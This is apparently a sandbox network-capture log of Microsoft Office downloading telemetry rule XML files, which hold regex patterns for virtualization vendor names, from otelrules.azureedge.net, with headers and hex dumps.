2024-10-10 08:13:41 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 3883747d-501e-008c-279e-15cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081341Z-r154656d9bckpfgl7fe14swubc0000000ku000000000769x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:41 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	64642	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:42 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:42 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 75281d68-101e-000b-5148-1a5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081342Z-1597f696844vzfmb9nc7adr3a800000001q00000000071ag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:42 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	64641	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:42 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 1f480aea-c01e-002b-028c-156e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081342Z-r154656d9bcpnqc46yk454phh800000007xg00000000cguf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	64643	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:42 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:42 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:42 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 16d3a614-701e-0032-288c-15a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081342Z-r154656d9bcqqgssyv95384a1c0000000w6000000000gqmu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:42 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	64645	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:42 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:42 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:42 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: fed7985d-c01e-0034-3cd8-1a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081342Z-1597f696844lt47xuv87mwabmw00000001u0000000008cwz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:42 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	64644	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:42 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:42 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 1772c903-a01e-001e-4f54-1a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081342Z-1597f696844s4pmvsps8m6v26n00000001f000000000k0p0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:42 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	64647	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:42 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:42 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 6295f8c1-101e-0034-11ca-1a96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081342Z-r154656d9bcc2bdtn1pd2qfd4c0000000w7g00000000c0b5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:43 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	64646	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:42 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:42 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:42 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: c2af8a05-b01e-0097-3236-164f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081342Z-r154656d9bcwbfnhhnwdxge6u00000000akg00000000bqr4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:42 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	64648	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:42 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:42 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 4ac88496-801e-0015-0cfb-19f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081342Z-1597f6968449cxlldwc92t48ds00000001pg000000006w23 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:42 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	64649	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:43 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:43 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:43 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: be018b82-401e-0035-0c8c-1582d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081343Z-r154656d9bcq7mrvshhcb7rrsn00000000e0000000000qw6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:43 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	64651	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:43 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:43 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 0e999b2a-201e-003f-411c-1a6d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081343Z-1597f696844lq27kahy39f1g9800000000e0000000007wbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:43 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	64654	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:44 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:44 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:44 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: cda1fd3a-301e-0096-2fde-1ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081344Z-1597f696844rmb6h7netdh4d8400000001v00000000053aa x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:44 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
